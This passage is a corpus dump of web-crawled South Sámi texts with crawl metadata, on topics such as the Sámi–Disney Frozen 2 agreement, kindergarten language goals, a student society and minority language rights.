Røros.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/raastenrastah.no\/fredagskonsert-med-marja-mortensson-og-kork\/","date":"2021-12-09T06:40:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363689.56\/warc\/CC-MAIN-20211209061259-20211209091259-00151.warc.gz","language":"sma","language_score":0.7687102556,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.7687102556228638, \"nob_Latn_score\": 0.17246676981449127, \"sme_Latn_score\": 0.052294276654720306}","num_words":343,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.889,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjostoe sïeltine Walt Disney Animation Studios Sametingspresident i Sverige Per Olof Nutti, sametingspresident i Finland Tiina Sanila-Aikio, sametingspresident Aili Keskitalo og Samerådets president Åsa Larsson-Blind sammen med filmprodusent Peter Del Vecho i Walt Disney Animation Studios | Fotograf: Lars Opstad\/Sámediggi & Sámeráđđi Giesien 2019 Saemiedigkie bæjhkoehti Nöörjen, Sveerjen jïh Soemen saemiedigkieh Saemieraerine ektine leah laavenjosteme aktine dejstie veartenen stööremes medijesïeltijste, Walt Disney Animation Studios. Goh bielie laavenjostoste Disney Animation jïjtjemse åeliedi noerhtesaemien versjovnem darjodh stoerrefilmeste Frozen 2. Goevten maanah abpe Saepmesne meehtin filmem Jikŋon 2 kinovisnie vuejnedh noerhtesaemien gïeline. Saemien Parlamentarihkeles Raerien presideentedåehkie leah laavenjostosne Saemieraerine stillemem SPR:n stoerretjåanghkoste tjïelkestahteme juktie laavenjostoem Walt Disney-sïeltine tseegkedh eaktoej bïjre åtnoste saemien kultuvrese mij edtji gaagnine årrodh jïjtse maarkedebuektiemasse. Laavenjostoe aktööri gaskem tseegkesovvi jïh snjaltjen 2019 saemiedigkieh jïh Saemieraerie saarnoejin akte noerhtesaemien versjovne edtji filmeste Frozen 2 dorjesovvedh, goh illedahke laavenjostoste Saepmien jïh Walt Disney Animation Studiosen gaskem. Saemiedigkiej jïh Saemieraerien gaavhtan lea vihkeles orreme gorredidh saemien kultuvre mij skraejrine orreme filmesjugniedæjjide filmen duekesne Frozen 2, gïetesåvva ååkteminie jïh jååhkesjimmine Dan åvteste saemien tjiehpijedåehkie tseegkesovvi juktie filmesjugniedæjjide viehkiehtidh saemien kultuvresne, histovrijisnie, reaktine jïh seabradahkejieliedisnie gaavnedh mearan filmine barkin. Saemien barkoedåehkie nommem \"Verddet\" åadtjoeji. Verddet-dåehkesne Karen Anne Buljo, Veli-Pekka Lehtole, Cecilia Persson, Piia Nuorgam, Christina Hætta jïh Anne Lajla Utsi. Lohkh latjkoem sïeltine Walt Disney Animation Studios (englaantengïelesne): Agreement between Walt Disney Animation Studios and the Sámi people (PDF, 8 MB) Lohkh aaj: Laavenjostoe sïeltine Walt Disney Animation Studios lissiekonsekvensh vadta Saapman.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/saemien-laavenjostoe\/laavenjostoe-sieltine-walt-disney-animation-studios\/","date":"2021-12-08T13:22:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00312.warc.gz","language":"sma","language_score":0.9943252206,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9943252205848694}","num_words":229,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanagïerte edtja govlesadtemem jïh gïelem eevtjedh\nMaanagïerte edtja voerkes årrodh govlesadteme jïh gïele tsevtsieh jïh tsevtsiesuvvieh gaajhkh bieleste maanaj evtiedimmesne. Dialogen jïh ektiedimmien tjïrrh edtja maanide dåarjodh govlesadtedh, meatan, goltelidh, guarkedh jïh mïelh sjugniedidh. Maanagïerte edtja jååhkesjidh jïh viertiestidh maanaj ovmessie gïelh jïh govlesadtemevåajnoeh, dan nuelesne væhtagïele. Gaajhkh maanah edtjieh hijven gïeleskreejrehtimmiem åadtjodh maanagïerteaarkebiejjien tjïrrh, jïh gaajhkh maanah edtjieh meatan darjoeminie mah govlesadtemem jïh elliesvoetegïeleevtiedimmiem skreejredh. Maanagïertine saemien maanide saemien dajvine edtja maanagïerte maanaj saemiengïeleldh maahtoem skreejredh.\nBarkijh edtjieh\n- maanaj ovmessie verbaale jïh non-verbaale jiehtegh jååhkesjidh jïh vaestiedidh jïh daej gïeleevtiedimmiem dåarjodh\n- maanaj verbaale jïh non-verbaale govlesadtemem skreejredh jïh sjïehteladtedh gaajhkh maanah leah meatan ektievoetesne jïh soptsestallemisnie\n- hoksedh gaajhkh maanah jeereldihkie jïh hijven dååjrehtimmieh åadtjoeh gïelem nuhtjedh goh akte dïrrege govlesadtemasse, goh dïrrege ussjedæmman jïh mejnie jïjtsh åssjaldahkh jïh domtesh buakta\n- voerkes årrodh mah råållah utnieh goh åvteguvvieh gïelese jïh bealjijes årrodh govlesadtemisnie gaajhki maanajgujmie\n- maanaj govlesadtemem jïh gïelem gïehtjedidh jïh maanah vueptiestidh jïh dåarjoehtidh mah ovmessie tsagkesh govlesadtemisnie utnieh, mah eah jïjnjem soptsesth, jallh seassoehkåbpoe gïeleevtiedimmiem utnieh\n- viehkiehtidh gïelen gellievoetem ræjhkoesvoetem sjædta abpe maanadåehkesne, jienebegïelen maanah dåarjoehtidh dej jïjtse ietniegïelem soptsestidh jïh seamma tïjjen maanaj daaroen-\/saemiengïelen maahtoem eadtjohkelaakan eevtjedh jïh evtiedidh\nGovlesadteme, gïele jïh teekste\nBarkoen tjïrrh faagesuerkine edtja maanagïerte meatan maanah åadtjoeh daej gïelegoerkesem, gïelemaahtoem jïh gellievoeten govlesadtemevuekieh goe rehtidh jïh evtiedidh. Maanagïertesne edtjieh maanah ovmessie gïelh, gïelehammoeh jïh smaarehtjïerth dåastodh rijmi, raajroej, laavlomi, litteratuvri jïh tjaalegi tjïrrh daaletjen jïh dovletjen. Maanagïerte edtja meatan maanah gïeline, symboligujmie jïh tjaaleginie stååkedidh jïh gïeleldh tjetskehkevoetem, goerkesem jïh evtiedimmiem eevtjedh. Maanagïertesne edtjieh maanah nuepiem åadtjodh ovmessie leerehtimmievuekieh dååjredh tjaalegijstie jïh soptsesijstie, mah gaaltijinie estetihkeles dååjresidie, maahtose, ussjedallemidie jïh dåastoemidie gïeline jïh kultuvrine. Barkijh edtjieh bööredh dovne njaalmeldh jïh tjaaleldh gïelem goerehtidh.\nBarkoen tjïrrh govlesadteminie, gïeline jïh teekstigujmie edtja maanagïerte meatan årrodh guktie maanah\n- Jïjtsh domtesh, åssjaldahkh, vuajnoeh jïh dååjresh buektieh ovmessie vuekine • gïelem utnedh gosse ektiedimmieh sjugniedieh, stååkedieh jïh dïrreginie ovvaantoeh luetieh\n- dej dïejvesegoerkesem vijriedieh jïh jeerehts baakoeveahkam nuhtjieh\n- baakojne, tjoejenassine, rijmine jïh raajroejgujmie stååkedieh, improviseradieh jïh voejhkelieh\n- gellievoeten heamturh, soptsesh, vaajesh jïh soptsestimmiehammoeh dåastoeh\n- tjetskehkevoetem jïh aavoem dååjroeh reegkesgïelelohkeminie, soptsesteminie, laavloeminie jïh soptsestalleminie\n- ovmessie tjaaleldhgïelehammoeh goerehtieh jïh dåårjehtieh goh låssastjaeleme, guvviedimmie jïh bokstaavh, lohkeme- jïh tjaelemedarjomi tjïrrh\nBarkijh edtjieh\n- jeerehts gïelebyjresem sjugniedidh gusnie maanah nuepiem åadtjoeh aavoedidh gåessie mubpiejgujmie gïelem nuhtjieh jïh govlesedtieh\n- gïeleldh jïh kultuvredh gellievoetem vååjnesasse bïejedh, maanaj ovmessie kulturellen hammoeh jïh identiteeth dåarjodh jïh gellievoetem evtiedidh govlesadtemisnie, gïeligujmie jïh jeatjah hammojne\n- ovmessie soptsestallemidie bööredh gusnie maanah nuepiem åadtjoeh soptsestidh, funterdidh, ussjedidh jïh gihtjedh\n- maanide madtjeldehtedh hæhtadidh jïh gïeline, tjoejine, rijmine jïh jievkehtimmine stååkedidh\n- maanaj stååkedimmiem jïh goerehtimmiem tjaaleldhgïeleste dåarjodh\n- jeerehts buektemehammoeh nuhtjedh jïh gellieh gærjah, laavlomh, guvvieh jïh hammoeh faaledh\n- gïeleskreejreme darjomh sjugniedidh gusnie gaajhkh maanah maehtieh meatan årrodh","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/trolliord.no\/maanagierten-mieriesoejkesje\/","date":"2021-12-09T04:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363659.21\/warc\/CC-MAIN-20211209030858-20211209060858-00263.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":442,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien gïele\nKoreografin lea interaktijve vuesiehtimmie gusnie vuartasjæjjah mealtan. Vuartasjæjjah bealjesh åadtjoeh mesnie gïele mij bïhkemde guktie vuartasjæjjide tjoeverieh dåemiedidh, svïhtjedh jnv. Eah daanhtsojh vuj dorjehtjæjjah meatan vuesiehtimmesne, vuartasjæjjah vuesiehtimmiem ektesne haamoehtidie.\nJaepien 2016 dïhte daanhtsoe-kollektijve man nomme Johanssons pelargoner och dans Koreografin-vuesiehtimmiem dahki jïh dehtie baeleste mijjieh libie vuesiehtimmine ovmessie skuvlide abpe Sveerjese båateme. Jaepiej 2018-2020 Koreografin lea ovmessie, orre gïelide jarkoestovveme. Nemhtie gelliengïeleldh vuartasjæjjah maehtebe ektesne vuesiehtimmiem damtedh jïh gïele-raasth rastemdidh, jïh die aaj kultuvrem sijjen ietniengïeline dååjrehtidh.\nJohanssons pelargoner och dans lea aaj antologijem gelliengïeleldh scenetjeahposen bïjre bæjhkoehtamme jïh dejnie gærjine sïjhtebe maahtoem jïh daajroem joekedidh jïh almetjidie skreejrehtidh vielie gelliengïeledh scenetjeahposidie darjodh.\nJis dov leah gyhtjelass jallh sïjhth Koreografin dongkedh?\nTjaelieh jallh ringkieh mijjese\nfirstname.lastname@example.org\n0730678858\nDaesnie maahtah stuhtjese dehtie Koreografin-vuesiehtimmeste goltelidh!","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.koreografin.se\/language\/aarjelsaemien-giele\/","date":"2021-12-01T05:45:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964359093.97\/warc\/CC-MAIN-20211201052655-20211201082655-00261.warc.gz","language":"sma","language_score":0.9999706745,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999706745147705}","num_words":123,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Skarvik, Inga Hætta Hætta, Inga Laila Bertije Sámi oahpahusráđđi Vaadtasovvemejaepie 1996 Faage Beapmoe jïh healsoe Daltese 5-7 8-10 VGS Giele Noerhtesaemiengïele Daaroengïele ISBN 8291047383 Formaate Sïejhme gærja Reakta-aajhtere Sámi oahpahusráđđi Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 64 Aamhtesh Aerpiemaahtoe Beapmoe Kultuvre Litteratuvre Aarhte jïh daajroe Healsoe Saemiengïele Baakoegærjah","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ovttas.no\/sma\/girji_sanit-min-beaivvalas-eallimis-ja-ruovttudoalus","date":"2021-11-29T15:56:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358774.44\/warc\/CC-MAIN-20211129134323-20211129164323-00613.warc.gz","language":"sma","language_score":0.987549305,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9875493049621582, \"sme_Latn_score\": 0.012449349276721478}","num_words":45,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saarnoeh amma! 11\nGaskeviermiesæjroem sjyökeme, jåvlegaavnedimmie, klimatjåanghkoe Parisesne. Daan våhkoen aamhtese lea jåvle.\nPublisert: 18.12.2015 kl 08:36\nSaernieh: Gaskeviermiesæjroem sjyökeme, jåvlegaavnedimmie, klimatjåanghkoe Parisesne.\nDaan våhkoen aamhtese lea jåvle, juktie daate lea minngemes saadtege jåvli åvteli. Ibie utnieh jeenjh jåvlemusihkeh jallh jåvlesoptsesh saemiengïelesne. Åemie Ella holm mahte dïhte aajnehke gie nimhtie laavlomh jïh teksth tjoejefijline dorjeme. Dle gosse dagkeres aamhtesem saadteginie åtnam, die Ella Holm Bull tjoerem nuhtjedh. Åadtjode aktem destie soptsesijstie govledh, man nomme «Jåvlemojhtesh». Toini Bergstrøm lea dam lohkeminie.\nGadtsegarhken minngemes tjåanghkoem utnin Plassjen jåarhkeskuvlesne minngemes duarstan. Dellie jåvledorjemasse utnin, gusnie maanah dovne jåvlevadtesh, kåarhth jïh rïesegh darjoejin. Jåvle-aajja dovne guessine bööti, vadtesigujmie gïemhpes maanide. Luhkienjieljie maanah gadtsegarhken minngemes tjåanghkoem dåeriedin.\nGovlebe gaaktseden stuhtjem vaajesistie Tjågkoe, gusnie Anne jïh Piere beetnehbongkem jïh aahkan loeves baenide Johkaajjeste åadtjeme. Dah guaktah jaevreste skåajjese vaedtsiejægan, Tjågkoste ohtsedægan.\nNyheter: Opprydding på hjemmesiden, julebord, klimamøtet i Paris.\nDenne ukas tema er jul, ettersom den nærmer seg med stormskritt, og at dette er årets siste sending. Vi har ikke mye julemusikk og julefortellinger på sørsamisk. Ella Holm Bull er nesten den eneste som har laget den slags sanger og tekster, og i tillegg spilt de inn som lydfil. Så når jeg skal ha jul som tema i seningen, blir jeg nødt til å bruke utelukkende Ella Holm Bull. Dere får høre en av hennes fortellinger, som heter «Jåvlemojhtesh» (juleminner). Toini Bergstrøm leser.\nGadtsegarhkh hadde årets siste samling forrige torsdag på Røros videregående skole. Da var det juleverksted, hvor barna fikk lage både julegaver, kort og julepynt. Vi fikk til og med besøk av julenissen, som kom med gaver til snille barn. 14 barn deltok på denne samlingen.\nVi høre åttende del av serien Tjågkoe, hvor Anne og Piere har fått en lommebok og bestemors løstenner av Johkajja. De to går fra sjøen til skogen, på leting etter Tjågkoe.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/nearadio.no\/nyheter\/roros-holtalen\/samisk\/saarnoeh-amma-11\/19.11531","date":"2021-12-08T19:00:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363520.30\/warc\/CC-MAIN-20211208175210-20211208205210-00365.warc.gz","language":"sma","language_score":0.9798007607,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9798007607460022, \"nob_Latn_score\": 0.010607569478452206}","num_words":299,"character_repetition_ratio":0.046,"word_repetition_ratio":0.007,"special_characters_ratio":0.18,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhtelaanti Saemieraerie (daelie Saemieraerie) lea 1956 raejeste tjåadtjoehtæjjine orreme dan noerhtelaanti saemien laavenjostoen åvteste jïh gaskenasjonaale laavenjostoen åvteste Aalkoeåålmegi vearteneraerien tjïrrh (1975) jïh EN-systeemesne. Rååresjimmiej mænngan Saemieraerine Saemiedigkie ånnetji ånnetji gaskenasjonaale laavenjassh sjijsji.\nGaskenasjonaale sijjesne Saemieraerie ryöknesåvva goh ij-staateles organisasjovne, NGO, non-governmental organization. Raerien bijjemes ulmie lea saemiej ïedtjh goh akte åålmege gorredidh, saemiej ektievuekiem raasti rastah nænnoestidh jïh barkedh ihke saemieh aaj båetijen aejkien ryöknesåvva goh akte åålmege.\nSaemieraerie lea joekoen vihkele jïh vyörtegs aalkoeåålmegeaktööre gaskenasjonaale sijjesne. Saemieraerie dovne jolle maahtoem jïh gamte gaskenasjonaale viermiem åtna. Saemiedigkie jïh Saemieraerie såemies gaskenasjonaale aamhtesesuerkine laavenjostoeh, jïh ånnetji joekehts råållah utnieh mah sinsitniem dåarjoehtieh. Raeresne 15 lïhtsegh jïh dejstie vïjhte nöörjen bieleste, njieljie sveerjen bieleste, njieljie soemen bieleste jïh göökte russlaanten bieleste.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/saemien-laavenjostoe\/saemieraerie\/","date":"2021-12-08T13:36:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00300.warc.gz","language":"sma","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999804496765137}","num_words":117,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fil.dr. Hanna-Máret Outakoski lea voestes amanuensis Upmejen universiteetesne jïh Nöörjen arktihke universiteetesne (UiT). Outakoski lea lohkehtæjjine Upmejen universiteetesne barkeme jaepien 2001:n raejeste jïh tjaktjen 2021 lea guessielohkehtæjjine Saemien Jillieskuvlesne\/Sámi Allaskuvlesne barkeme. Outakoski joekoenlaakan dam saemien online-lohkehtimmiem maahta jïh lea aaj joekoenlaakan darhkeme guktie virtuelle veartenh maehtieh gïelelohkehtimmiem geervealmetjidie dåarjodh. Outakoskin suerkie lea lingvistihke, mohte sov dåakteretjaalegisnie jïh internationelle post.doc prosjektesne lea tjaelemem, sosiolingvistihkem jïh lohkehtimmiedaajroem darhkeme. Dennie lohkehtimmiedaajrosne lij gïeledidaktihke eeremes jarngesne. Outakoskin båetije prosjekth, mah daan gïjren 2022 aelkieh, dellie edtja vuartasjidh jïh vihtiestidh litteracitetspraksijsem gelliengïeleh aarhskuvlesne jïh edtja aaj goerehtidh man vihkele stååkedimmie lea gïelelohkehtimmesne.\nHanna Outakoski Tjaalehraajroe-nehtetjåangkojne lohkehtalla, gusnie edtja sov dotkemen bïjre soptsestidh jïh mijjinesoptsestalledh. Gåessie Outakoskin minngemes presentasjovne sjædta, mænngan bæjhkoehtibie:\n13\/01: 1. boelhke: Gellielaaketje tjaelemelohkehtimmie tjaelemediskursi viehkine\n03\/03: Flerspråkighet och skrivande\n??\/??: Man åvteste litteraciteete vihkele joe maanide\/noeride.\nTs. 17.00 – 17.45\n17.45: Gihtjedidh jïh soptsestalledh\nBïeljelh: email@example.com","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sijtijarnge.no\/sor\/hanna-outakoski-deltar-i-tre-nettmoter\/","date":"2022-01-26T22:33:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305006.68\/warc\/CC-MAIN-20220126222652-20220127012652-00697.warc.gz","language":"sma","language_score":0.9997622371,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999762237071991}","num_words":134,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fakta og tilgjengelighet\nKategori: Språk\/tale, Barnehage, Småtrinnet (1.-4.), Veiledere, Sørsamisk, Tidlig innsats, Ord- og begrepsopplæring, Alternativ og supplerende kommunikasjon (ASK)\nSpråk: Máttasámegillii\nFormat: PDF\nUtvikler: Statped\nForfatter: Bjørg Sissel Hoêm\nUtgiver: Statped\nLes omtale av De magiske åtte på bokmål.\nLoga Magihkalaš gávcci birra davvisámegillii.\nLågå Skieddis gáktsa birra julevsámegillii.\nMubpesth jiehtedh jïh damtijidh leah vihkele juktie almetjen goerkesem baakoej åvteste lissiehtidh, jïh sisvegem guarkedh baakoetjïertine dejnie gærjine dijjieh lohkede. Ryöjredh dïsse maam sïjhth jarngesne utnedh jïh darjoeh maaje soejkesjem jallh bijjieguvviem dïsse maam sïjhth jarngesne utnedh gosse lohkede. Aaj hijven jis seamma gærjam lohkh gellien aejkien.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/statped.no\/laringsressurser\/ask\/ask-samisk\/doh--magijeles-gaektsie-mattasamegilliisorsamisk\/","date":"2022-01-17T19:26:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300616.11\/warc\/CC-MAIN-20220117182124-20220117212124-00442.warc.gz","language":"sma","language_score":0.9638644457,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9638644456863403, \"sme_Latn_score\": 0.034207262098789215}","num_words":96,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skïereden 2020 studeentesiebrie Studeenth Åarjeldajvesne (SÅD) tseegkesovvi. Jalhts jïjnje vuestiebïegke orreme koronan gaavhtan ståvroe daelie tjaktjese aavode orre nuepiejgujmie.\nLes saken på norsk her.\nÅarjelsaemien gïelese: Ellen Bull Jonassen\nMijjieh mubpieåvtehke Olena Hættam (20) Guovdageaidnuste jïh ekonomijen tjåadtjoehtæjja Ramona Kappfjell Sørfjellem (23) Sïebneste gaavnedibie Zoomen tjïrrh.\nOlena aalka sov dååjresen bïjre soptsestidh goh Noerhte Universiteetese Lievengisnie båetedh, bielelen maam akt sijjien jallh almetji bïjre desnie damtedh.\n– Gosse diekie böötim daan tjaktjen, dellie lij numhtie: «Okej, vuajnam saemien tsïeglh daesnie». Men idtjim daejrieh mejtie lij saemieh daesnie, jïh gusnie edtjim dejtie gaavnedh, Olena jeahta.\nOlena eajhnadovvi maam jïjtje daejnie darjodh jïh gaskesem veelti raeriestæjjine, mij satnem raeriesti gaskesem vaeltedh åarjelsaemien lohkehtæjjastudijen koordinatovrine mij tjåanghkoem jeatjah saemien studeentigujmie öörnedi.\nSoptsestimmien gaavhtan studeentesiebrie sjïdti\nOlena soptseste gosse dah voestes aejkien gaavnedin, dellie tjahkan sjïdtin soptsestidh golme, njieljie tæjmoeh jïh vihtiestin lij murreds orreme studeentesiebriem aelkedh.\n– Mijjieh sïjhtimh aelhkebe darjodh dejtie mah sijhtieh gaskesem åadtjodh jeatjah saemiejgujmie, men mah dagke eah doesth raeriestæjjine gaskesadtedh, Olena jeahta.\nRamona soptseste dah mah åarjelsaemien lohkehtæjjaööhpehtimmesne eelkin dæjman, leah guhkiem ussjedamme studeentesiebriem aelkedh.\n– Mijjieh åssjaldahkine utnimh dagke aktanidh dejnie julevsaemien lohkehtæjjaööhpehtimmine Bådåddjosne. Men gaavnehtimh mijjieh voestegh tjoerimh studeentesiebriem aelkedh Noerhte universiteetese Trööndelagesne, Ramona jeahta.\nLohkh aaj: Samiske veivisere: – Et spennende år\nKorona mijjem tjöödtjeste\nDovne Olena jïh Ramona læjhkan tuhtjieh lij luste orreme aktem tjåenghkies saemien studeentesiebriem buektiehtidh.\n– Mijjen minngebe ulmie, gosse mijjen studeentesiebrie lea aalkeme juhtedh, lea abpe Noerhte Universiteetem iktedidh.\nDarjomigujmie nïerhkedh lea stoerre haesteme orreme koronatsiehkien gaavhtan.\n– Siebrine aelkedh lea aelhkie orreme, men tjïrrehtidh lea vïerrebe. Fïerhten aejkien mijjieh libie maam akt soejkesjamme, dellie njoelkedassh faahketji striengkiesåbpoe sjïdteme. Jïh dellie ibie nuepiem åtneme dam tjïrrehtidh. Numhtie orreme gellien aejkien, Olena jeahta.\nDaelie studeenth lissine bïevnesem åådtjeme abpe ööhpehtimmie tjaktjen raajan sæjhta digitaale årrodh.\n– Joekoen slæjhtoes orreme, juktie mijjieh hov vaajtelibie almetjh råakedh jïh almetjigujmie åahpenidh. Daelie ibie maam utnieh mïsse maehtebe aavoedidh, juktie iktesth ussjede: «jis mijjieh maam akt soejkesjibie, dellie sån ij mejtegh destie sjïdth.» Jïh maaje ij mejtegh destie sjïdth, Olena jeahta.\nLaavenjostoem sæjhta\nStudeentesiebrie læjhkan åvtese vuajna jïh stoerre syjhtedassh åtna dïsse maam sijhtieh tjïrrehtidh.\n– Mijjen ulmie lea baajedh årrodh ajve golme aath utnedh mejtie maehtebe aavoedidh abpe jaepien, goh goevten 6. b., gaptabiejjie jïh gïelevåhkoe.\n– Sïjhtebe aaj mijjieh maehtebe darjoemidie aavoedidh goh jåvlebuertie, gïele- jïh kultuvreprïhtjhgåetie, hæhtjosne mïnnedh jïh duedtie-iehkedh. Gegkiestibie mijjieh maehtebe dejtie darjoemidie tjïrrehtidh tjaktjen raejeste, Olena jeahta.\n– Aaj gegkiestibie mijjieh maehtebe siebrine Saemien Studeenth Tråantesne laavenjostedh, guktie maehtebe stuerebe öörnemh tjïrrehtidh, jïh saemien studeenth daamtajåbpoe tjöönghkedh, Ramona lissehte.\nSÅD viehkehte\nMijjieh vielie SÅD:n soejkesji bïjre soptsestibie, jïh ij leah naan juerie jïjnje gïeltege lea vuertiemisnie, dan varke korona dam luhpehte.\nMinngemes Ramona tjïelke haestemem åtna dejtie mah eah rikti daejrieh maam edtjieh tjaktjese darjodh:\n– Jalhts ohtsememierie lea nåhkeme, maahta gujht syökedh dejtie sijjide mah aajmene sjïdteme dejnie saemien lohkeminie. Jis dam sïjhth, dellie mijjieh SÅD:sne dijjem ræhpas gïetigujmie dåastoehtibie.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ungdomsmagasin.no\/noerhte-universiteeten-booremes-studeentesiebrie\/","date":"2022-01-19T13:08:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00538.warc.gz","language":"sma","language_score":0.9999680519,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999680519104004}","num_words":467,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov reaktah\nJis datne lïhtseginie aktene dejstie vïjhte nasjonaale unnebelåhkojste – judarh, romerh, saemieh, sveerjesåevmieladtjh jallh torneladtjh – datne nænnoes reaktah gellie suerkine åtnah.\nLaake nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre\nLaake nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre åenehkslaakan jeahta datne dejtie reaktide åtnah:\n- Gaajhkh byjjes darjomh sjïere dïedtem utnieh dov gïelem jïh dov kultuvrem evtiedidh jïh vaarjelidh.\n- Maanah nænnehkåbpoe reaktam utnieh dej kultuvrem jïh dej gïelem evtiedidh.\n- Datne reaktam åtnah bïevnesh åadtjodh man bïjre laake dutnjien jeahta sjïere staaten reeremeåejvieladtjijste, dej gaskem Socialståvroste.\n- Sjïere tsiehkine åejvieladtjh dïedtem utnieh datnine govlesadtedh såevmiegïelesne, meänkielisne jïh saemiengïelesne – gïehtjh nualan Reakta dov gïelem nuhtjedh.\n- Voeresh gïeh reeremedajvesne årroeh reaktam utnieh abpe jallh biehkine dej voeresehokseste barkijigujmie gïeh maehtieh såevmiegïelem, meänkielim jallh saemiengïelem soptsestidh. Seammalaakan voeresh gïeh reeremedajvi ålkolen årroeh jis tjïelte barkijh åtna gïeh maehtieh gïelide såevmiegïele, jiddisch, meänkieli, romani chib jallh saemiengïele.\n- Tjïelth edtjieh mieresne voeresehoksesne mij faelieh unnebelåhkoegïeline krööhkestieh dej voeresi daerpiesvoetem dej kulturelle identiteetem gorredidh.\n- Tjïelti dïedte edtjieh barkedh ihke barkijh gååvnesieh maahtojne unnebelåhkoejgïeline gusnie daerpies voeresidie hoksedh.\n- Hoksevedtijh healsoe- jïh skïemtjehoksesne byöroeh barkedh ihke barkijh gååvnesieh maahtojne såevmiegïelesne, meänkielisne jïh saemiengïelesne gusnie daerpies hoksesne.\n- Reeremeåejvieladtjh edtjieh nasjonaale unnebelåhkojde nuepieh tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie guhtide duehtieh jïh sjïehteleslaakan unnebelåhkoejgujmie dagkeri gyhtjelassine råårestalledh.\n- Maanaj jïh noeri nuepieh tsevtsiemasse jïh rååresjæmman edtja sjïere evtiedidh.\nSenast 